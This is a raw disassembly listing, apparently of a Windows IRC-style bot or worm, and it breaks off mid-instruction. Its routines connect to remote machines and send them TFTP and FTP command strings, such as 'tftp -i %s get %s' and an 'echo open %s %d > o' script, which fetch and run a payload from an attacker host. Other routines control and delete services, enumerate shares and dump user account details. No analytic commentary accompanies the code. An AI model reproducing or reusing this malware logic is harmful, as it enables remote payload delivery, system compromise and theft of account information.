edi push 1 push 2 mov [ebp-0Eh], ax call ds:dword_4E3048 ; socket mov esi, eax cmp esi, 0FFFFFFFFh mov [ebp+0C4h], esi jz loc_4191FC lea eax, [ebp-10h] push 10h push eax push esi call ds:dword_4E2F70 ; connect cmp eax, 0FFFFFFFFh jz loc_4191FC mov ebx, 400h push edi lea eax, [ebp-5A0h] push ebx push eax push esi call ds:dword_4E2FE0 ; recv mov esi, offset byte_43F0FC push esi push esi push dword ptr [ebp+8] call sub_40AEAD pop ecx mov edi, 190h push eax push offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n" lea eax, [ebp-1A0h] push edi push eax call sub_41EC30 movzx eax, word ptr ds:dword_4E2D00 add esp, 18h push esi push esi push eax push dword ptr [ebp+8] call sub_40AEAD pop ecx push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp-1A0h] push edi push eax call sub_41EC30 add esp, 1Ch lea eax, [ebp-1A0h] push 0 push eax call sub_41BC70 pop ecx push eax lea eax, [ebp-1A0h] push eax push dword ptr [ebp+0C4h] call ds:dword_4E3018 ; send cmp eax, 0FFFFFFFFh jnz short loc_419200 loc_4191FC: ; CODE XREF: _0:0041914Fj _0:00419165j xor al, al jmp short loc_419224 ; --------------------------------------------------------------------------- loc_419200: ; CODE XREF: _0:004191FAj push 0 lea eax, [ebp-5A0h] push ebx push eax push dword ptr [ebp+0C4h] call ds:dword_4E2FE0 ; recv push dword ptr [ebp+0C4h] call ds:dword_4E3060 ; closesocket mov al, 1 loc_419224: ; CODE XREF: _0:004191FEj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419229 proc near ; CODE XREF: sub_401C87+56A9p var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call ds:dword_4F539C ; GetVersionExA cmp [ebp+var_90], 4 jnz short loc_41926E cmp [ebp+var_8C], 0 jnz loc_4192F8 xor eax, eax inc eax cmp [ebp+var_84], eax jz locret_4192F6 loc_41926E: ; CODE XREF: sub_419229+27j ; sub_419229+DFj push esi push edi push offset aNetapi32_dll_0 ; "netapi32.dll" call ds:off_4F538C mov esi, eax push offset aNetmessagebu_0 ; "NetMessageBufferSend" push esi call ds:off_4F5390 push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_421E90 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_421E90 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_421E90 lea eax, [ebp+var_F8] push eax call sub_421E60 add eax, eax push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi ; GetProcessHeap add esp, 3Ch mov edi, eax push esi call ds:off_4F5410 mov eax, edi pop edi pop esi locret_4192F6: ; CODE XREF: sub_419229+3Fj leave retn ; --------------------------------------------------------------------------- loc_4192F8: ; CODE XREF: sub_419229+30j cmp [ebp+var_8C], 0Ah jz short loc_41930E cmp [ebp+var_8C], 5Ah jnz loc_41926E loc_41930E: ; CODE XREF: sub_419229+D6j xor eax, eax inc eax leave retn sub_419229 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419313 proc near ; CODE XREF: sub_401300+F7p ; sub_40F038+Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call ds:dword_4F537C ; GetTickCount push eax call sub_41EB60 pop ecx call sub_41EB70 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_43C4E0 call sub_4201DC sub esi, eax mov eax, esi pop esi leave retn sub_419313 endp ; =============== S U B R O U T I N E ======================================= sub_419350 proc near ; CODE XREF: sub_401C87+45A2p ; sub_401C87+460Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4193B5 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push ds:dword_44FDD8[esi] push edi push eax call sub_4193D7 add esp, 14h test eax, eax jnz short loc_419398 push edi push ds:off_44FDD4[esi] mov esi, offset dword_4F3060 push offset unk_44FE24 push esi call sub_41EA60 add esp, 10h jmp short loc_4193D2 ; --------------------------------------------------------------------------- loc_419398: ; CODE XREF: sub_419350+2Aj push eax call sub_419479 push eax push edi mov esi, offset dword_4F3060 push offset unk_44FE40 push esi call sub_41EA60 add esp, 14h jmp short loc_4193D2 ; --------------------------------------------------------------------------- loc_4193B5: ; CODE XREF: sub_419350+Cj lea eax, [eax+eax*2] mov esi, offset dword_4F3060 push ds:off_44FDD0[eax*4] push offset unk_44FE6C push esi call sub_41EA60 add esp, 0Ch loc_4193D2: ; CODE XREF: sub_419350+46j ; sub_419350+63j mov eax, esi pop edi pop esi retn sub_419350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4193D7 proc near ; CODE XREF: sub_419350+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call ds:dword_4E2FBC ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_4193FE call ds:dword_4F5360 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_419473 ; --------------------------------------------------------------------------- loc_4193FE: ; CODE XREF: sub_4193D7+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call ds:dword_4E2EA4 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_41941E call ds:dword_4F5360 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41946B ; --------------------------------------------------------------------------- loc_41941E: ; CODE XREF: sub_4193D7+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_419451 cmp eax, 3 jz short loc_419442 jle short loc_419464 cmp eax, 6 jg short loc_419464 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call ds:dword_4E2F10 ; ControlService jmp short loc_419458 ; --------------------------------------------------------------------------- loc_419442: ; CODE XREF: sub_4193D7+52j push [ebp+arg_10] push [ebp+arg_C] push esi call ds:dword_4E2EAC ; StartServiceA jmp short loc_419458 ; --------------------------------------------------------------------------- loc_419451: ; CODE XREF: sub_4193D7+4Dj push esi call ds:dword_4E2F14 ; DeleteService loc_419458: ; CODE XREF: sub_4193D7+69j ; sub_4193D7+78j test eax, eax jnz short loc_419464 call ds:dword_4F5360 ; RtlGetLastWin32Error mov ebx, eax loc_419464: ; CODE XREF: sub_4193D7+54j ; sub_4193D7+59j ... push esi call ds:dword_4E2EC0 ; CloseServiceHandle loc_41946B: ; CODE XREF: sub_4193D7+45j push edi call ds:dword_4E2EC0 ; CloseServiceHandle pop esi loc_419473: ; CODE XREF: sub_4193D7+25j mov eax, ebx pop edi pop ebx leave retn sub_4193D7 endp ; =============== S U B R O U T I N E ======================================= sub_419479 proc near ; CODE XREF: sub_419350+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_41952E jz loc_419527 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_4194F1 jz short loc_4194E7 mov ecx, eax sub ecx, 3 jz short loc_4194DD dec ecx dec ecx jz short loc_4194D3 dec ecx jz short loc_4194C9 sub ecx, 51h jz short loc_4194BF sub ecx, 24h jnz loc_4195A4 ; default ; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_419596 ; --------------------------------------------------------------------------- loc_4194BF: ; CODE XREF: sub_419479+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_419596 ; --------------------------------------------------------------------------- loc_4194C9: ; CODE XREF: sub_419479+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_419596 ; --------------------------------------------------------------------------- loc_4194D3: ; CODE XREF: sub_419479+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_419596 ; --------------------------------------------------------------------------- loc_4194DD: ; CODE XREF: sub_419479+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_419596 ; --------------------------------------------------------------------------- loc_4194E7: ; CODE XREF: sub_419479+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_419596 ; --------------------------------------------------------------------------- loc_4194F1: ; CODE XREF: sub_419479+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_419520 dec ecx jz short loc_419519 dec ecx jz short loc_419512 dec ecx jnz loc_4195A4 ; default ; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_419596 ; --------------------------------------------------------------------------- loc_419512: ; CODE XREF: sub_419479+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419519: ; CODE XREF: sub_419479+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419520: ; CODE XREF: sub_419479+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419527: ; CODE XREF: sub_419479+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_419596 ; --------------------------------------------------------------------------- loc_41952E: ; CODE XREF: sub_419479+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_4195A4 ; default ; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16 jz short loc_419591 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_4195A4 ; default ; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_4195E5[ecx] jmp off_4195BD[ecx*4] ; switch jump loc_419552: ; DATA XREF: _0:off_4195BDo push offset aTheSpecifiedDa ; jumptable 0041954B case 7 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419559: ; CODE XREF: sub_419479+D2j ; DATA XREF: _0:off_4195BDo push offset aTheServiceDepe ; jumptable 0041954B case 17 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419560: ; CODE XREF: sub_419479+D2j ; DATA XREF: _0:off_4195BDo push offset aTheServiceDe_0 ; jumptable 0041954B case 10 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_419479+D2j ; DATA XREF: _0:off_4195BDo push offset aTheServiceHasB ; jumptable 0041954B case 0 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_419479+D2j ; DATA XREF: _0:off_4195BDo push offset aTheSpecified_0 ; jumptable 0041954B case 2 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_419479+D2j ; DATA XREF: _0:off_4195BDo push offset aTheServiceCoul ; jumptable 0041954B case 11 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_419479+D2j ; DATA XREF: _0:off_4195BDo push offset aTheServiceHa_0 ; jumptable 0041954B case 14 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419583: ; CODE XREF: sub_419479+D2j ; DATA XREF: _0:off_4195BDo push offset aTheRequested_1 ; jumptable 0041954B case 3 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_41958A: ; CODE XREF: sub_419479+D2j ; DATA XREF: _0:off_4195BDo push offset aTheServiceHasN ; jumptable 0041954B case 4 jmp short loc_419596 ; --------------------------------------------------------------------------- loc_419591: ; CODE XREF: sub_419479+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_419596: ; CODE XREF: sub_419479+41j ; sub_419479+4Bj ... push offset dword_4F2990 call sub_41EA60 pop ecx pop ecx jmp short loc_4195B7 ; --------------------------------------------------------------------------- loc_4195A4: ; CODE XREF: sub_419479+36j ; sub_419479+89j ... push eax ; default ; jumptable 0041954B cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4F2990 call sub_41EA60 add esp, 0Ch loc_4195B7: ; CODE XREF: sub_419479+129j mov eax, offset dword_4F2990 retn sub_419479 endp ; --------------------------------------------------------------------------- off_4195BD dd offset loc_419567 ; DATA XREF: sub_419479+D2r dd offset loc_41956E ; jump table for switch statement dd offset loc_419583 dd offset loc_41958A dd offset loc_419552 dd offset loc_419560 dd offset loc_419575 dd offset loc_41957C dd offset loc_419559 dd offset loc_4195A4 byte_4195E5 db 0, 9, 1, 2 ; DATA XREF: sub_419479+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4195F7 proc near ; CODE XREF: sub_401C87+45CDp var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call ds:dword_4E2FBC ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 14h loc_41962F: ; CODE XREF: sub_4195F7+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call ds:dword_4E2F88 ; EnumServicesStatusA test eax, eax jnz short loc_419669 call ds:dword_4F5360 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_419720 loc_419669: ; CODE XREF: sub_4195F7+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_419717 lea esi, [ebp+var_188] loc_41967A: ; CODE XREF: sub_4195F7+11Aj mov eax, [esi+8] dec eax jz short loc_4196C6 dec eax jz short loc_4196BF dec eax jz short loc_4196B8 dec eax jz short loc_4196B1 dec eax jz short loc_4196AA dec eax jz short loc_4196A3 dec eax lea eax, [ebp+var_20] jz short loc_41969C push offset aUnknown ; " Unknown" jmp short loc_4196CE ; --------------------------------------------------------------------------- loc_41969C: ; CODE XREF: sub_4195F7+9Cj push offset aPaused ; " Paused" jmp short loc_4196CE ; --------------------------------------------------------------------------- loc_4196A3: ; CODE XREF: sub_4195F7+96j push offset aPausing ; " Pausing" jmp short loc_4196CB ; --------------------------------------------------------------------------- loc_4196AA: ; CODE XREF: sub_4195F7+93j push offset aContinuing ; " Continuing" jmp short loc_4196CB ; --------------------------------------------------------------------------- loc_4196B1: ; CODE XREF: sub_4195F7+90j push offset aRunning ; " Running" jmp short loc_4196CB ; --------------------------------------------------------------------------- loc_4196B8: ; CODE XREF: sub_4195F7+8Dj push offset aStoping ; " Stoping" jmp short loc_4196CB ; --------------------------------------------------------------------------- loc_4196BF: ; CODE XREF: sub_4195F7+8Aj push offset aStarting ; " Starting" jmp short loc_4196CB ; --------------------------------------------------------------------------- loc_4196C6: ; CODE XREF: sub_4195F7+87j push offset aStopped ; " Stopped" loc_4196CB: ; CODE XREF: sub_4195F7+B1j ; sub_4195F7+B8j ... lea eax, [ebp+var_20] loc_4196CE: ; CODE XREF: sub_4195F7+A3j ; sub_4195F7+AAj push eax call sub_41EA60 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_0 ; "%s: %s (%s)" push eax call sub_41EA60 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_41967A loc_419717: ; CODE XREF: sub_4195F7+77j cmp [ebp+var_8], ebx jnz loc_41962F loc_419720: ; CODE XREF: sub_4195F7+6Cj push [ebp+var_C] call ds:dword_4E2EC0 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_4195F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419737 proc near ; CODE XREF: sub_401C87+46B3p ; sub_401C87+46C9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4197D0 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_419760 dec eax jnz short loc_4197B0 push edi push 0 call sub_419909 pop ecx pop ecx jmp short loc_4197AC ; --------------------------------------------------------------------------- loc_419760: ; CODE XREF: sub_419737+18j cmp [ebp+arg_8], 0 jnz short loc_41979E push 24h push edi call sub_41F720 pop ecx test eax, eax pop ecx jnz short loc_41979E push 57h pop eax loc_419777: ; CODE XREF: sub_419737+77j push eax call sub_41A0D7 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4F2C58 push ds:off_44FDD0[eax*4] push offset unk_4503D8 push esi call sub_41EA60 add esp, 18h jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_41979E: ; CODE XREF: sub_419737+2Dj ; sub_419737+3Bj push [ebp+arg_8] push edi push 0 call sub_41985D add esp, 0Ch loc_4197AC: ; CODE XREF: sub_419737+27j test eax, eax jnz short loc_419777 loc_4197B0: ; CODE XREF: sub_419737+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4F2C58 push ds:off_44FDD4[eax*4] push offset dword_450404 push esi call sub_41EA60 add esp, 10h jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197D0: ; CODE XREF: sub_419737+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4F2C58 lea eax, [eax+eax*2] push ds:off_44FDD0[eax*4] push offset unk_450420 push esi call sub_41EA60 add esp, 0Ch loc_4197F0: ; CODE XREF: sub_419737+65j ; sub_419737+97j mov eax, esi pop edi pop esi pop ebp retn sub_419737 endp ; =============== S U B R O U T I N E ======================================= sub_4197F6 proc near ; CODE XREF: sub_41AB05+247p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_419803 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_419803: ; CODE XREF: sub_4197F6+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_4F5450 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test ds:byte_4F2E58, 1 mov ebp, eax jnz short loc_419840 or ds:byte_4F2E58, 1 lea eax, [ebp+1] push eax call sub_420C30 pop ecx mov ds:dword_4F2BF0, eax loc_419840: ; CODE XREF: sub_4197F6+32j push esi push esi push ebp push ds:dword_4F2BF0 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, ds:dword_4F2BF0 pop edi pop ebp pop ebx pop esi retn sub_4197F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41985D proc near ; CODE XREF: sub_419737+6Dp ; sub_41AE2B+188p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_4198C8 push [ebp+arg_4] mov edi, eax call sub_4198C8 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41F720 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_4198C8 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call ds:dword_4E2EBC pop edi leave retn sub_41985D endp ; =============== S U B R O U T I N E ======================================= sub_4198C8 proc near ; CODE XREF: sub_41985D+Ap ; sub_41985D+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_4198D5 pop ebp retn ; --------------------------------------------------------------------------- loc_4198D5: ; CODE XREF: sub_4198C8+9j push ebx push esi mov esi, ds:dword_4F5454 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_420C30 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_4198C8 endp ; =============== S U B R O U T I N E ======================================= sub_419909 proc near ; CODE XREF: sub_419737+20p ; sub_41AB05+1BCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4198C8 push [esp+8+arg_4] mov esi, eax call sub_4198C8 pop ecx pop ecx push 0 push eax push esi call ds:dword_4E2E94 pop esi retn sub_419909 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41992C proc near ; CODE XREF: sub_401C87+46F5p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_4198C8 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 18h loc_419965: ; CODE XREF: sub_41992C+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call ds:dword_4E2F0C mov ebx, eax cmp ebx, esi jz short loc_4199C8 cmp ebx, 0EAh jz short loc_4199C8 push ebx push ebx call sub_41A0D7 pop ecx push eax lea eax, [ebp+var_210] push offset unk_45047C push eax call sub_41EA60 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 24h jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_4199C8: ; CODE XREF: sub_41992C+5Dj ; sub_41992C+65j xor edi, edi inc edi cmp [ebp+arg_C], edi jb short loc_419A2C mov eax, [ebp+var_4] lea esi, [eax+14h] loc_4199D6: ; CODE XREF: sub_41992C+FCj push dword ptr [esi+10h] call ds:dword_4E2EB0 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_4199ED mov eax, offset aNo ; "No" loc_4199ED: ; CODE XREF: sub_41992C+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41EA60 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409C75 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_4199D6 xor esi, esi loc_419A2C: ; CODE XREF: sub_41992C+A2j push [ebp+var_4] call ds:dword_4E3058 loc_419A35: ; CODE XREF: sub_41992C+9Aj cmp ebx, 0EAh jz loc_419965 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_41992C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419A4D proc near ; CODE XREF: sub_401C87+474Ep ; sub_401C87+4769p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_419AF1 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_419A8F dec eax jz short loc_419A84 dec eax jnz short loc_419AAA push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_419B93 add esp, 14h jmp short loc_419AA6 ; --------------------------------------------------------------------------- loc_419A84: ; CODE XREF: sub_419A4D+1Dj push ebx push edi call sub_419B72 pop ecx pop ecx jmp short loc_419AA6 ; --------------------------------------------------------------------------- loc_419A8F: ; CODE XREF: sub_419A4D+1Aj cmp [ebp+arg_8], edi jz short loc_419AA3 push [ebp+arg_8] push ebx push edi call sub_419B18 add esp, 0Ch jmp short loc_419AA6 ; --------------------------------------------------------------------------- loc_419AA3: ; CODE XREF: sub_419A4D+45j push 57h pop eax loc_419AA6: ; CODE XREF: sub_419A4D+35j ; sub_419A4D+40j ... cmp eax, edi jnz short loc_419ACA loc_419AAA: ; CODE XREF: sub_419A4D+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4F2E60 push ds:off_44FDD4[eax*4] push offset unk_4504C4 push esi call sub_41EA60 add esp, 10h jmp short loc_419B11 ; --------------------------------------------------------------------------- loc_419ACA: ; CODE XREF: sub_419A4D+5Bj push eax call sub_41A0D7 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4F2E60 push ds:off_44FDD0[eax*4] push offset unk_4504E4 push esi call sub_41EA60 add esp, 18h jmp short loc_419B11 ; --------------------------------------------------------------------------- loc_419AF1: ; CODE XREF: sub_419A4D+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4F2E60 lea eax, [eax+eax*2] push ds:off_44FDD0[eax*4] push offset unk_450514 push esi call sub_41EA60 add esp, 0Ch loc_419B11: ; CODE XREF: sub_419A4D+7Bj ; sub_419A4D+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_419A4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B18 proc near ; CODE XREF: sub_419A4D+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_4198C8 push [ebp+arg_4] mov edi, eax call sub_4198C8 push [ebp+arg_8] mov [ebp+var_24], eax call sub_4198C8 add esp, 0Ch and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 lea ecx, [ebp+var_4] mov [ebp+var_20], eax xor eax, eax push ecx lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_4E2EA0 pop edi leave retn sub_419B18 endp ; =============== S U B R O U T I N E ======================================= sub_419B72 proc near ; CODE XREF: sub_419A4D+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4198C8 push [esp+8+arg_4] mov esi, eax call sub_4198C8 pop ecx pop ecx push eax push esi call ds:dword_4E2E90 pop esi retn sub_419B72 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419B93 proc near ; CODE XREF: sub_419A4D+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_4198C8 push [ebp+arg_4] mov esi, eax call sub_4198C8 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_4E3020 test eax, eax mov [ebp+arg_0], eax jnz loc_419F20 mov eax, [ebp+var_4] test eax, eax jz loc_419F5B push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41EA60 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409C75 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41EA60 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call 